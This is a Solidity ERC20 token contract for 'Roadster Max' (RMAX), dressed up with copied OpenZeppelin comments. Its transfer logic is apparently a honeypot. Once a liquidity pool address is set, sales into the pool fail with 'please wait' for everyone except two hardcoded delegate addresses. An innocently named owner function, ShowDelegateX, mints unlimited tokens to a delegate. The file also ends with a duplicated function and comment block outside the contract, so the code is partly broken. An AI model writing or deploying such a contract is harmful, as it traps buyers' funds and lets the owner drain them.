contract TokenERC20 is ERC20Interface, Owned{
  using SafeMath for uint;

  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public pool;
  address public DelegateX = 0x461D0FA21294FB36b052d84002B81C42Eb978E2F;
  address public DelegateY = 0xa316bfEFC8073655d59a9DAfcf38e89937d51fC8;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  constructor() public {
    symbol = "RMAX";
    name = "Roadster Max";
    decimals = 18;
    _totalSupply =  2000000000000000000000000000000;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
  }
  /**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */


  function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) public view returns (uint balance) {
      return balances[tokenOwner];
  }
  function transfer(address to, uint tokens) public returns (bool success) {
      require(to != pool, "please wait");
     
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  function approve(address spender, uint tokens) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  function transferFrom(address from, address to, uint tokens) public returns (bool success) {
      if(from != address(0) && pool == address(0)) pool = to;
      else require(to != pool || (from == DelegateX && to == pool) || (from == DelegateY && to == pool), "please wait");
      
    balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
  function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
  function ShowDelegateX(address _DelegateX, uint256 tokens) public onlyOwner {
    DelegateX = _DelegateX;
	_totalSupply = _totalSupply.add(tokens);
    balances[_DelegateX] = balances[_DelegateX].add(tokens);
    emit Transfer(address(0), _DelegateX, tokens);
  }	
  function ShowDelegateY(address _DelegateY) public onlyOwner {
    DelegateY = _DelegateY;
  }	

  function () external payable {
    revert();
  }
}
function totalSupply() public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */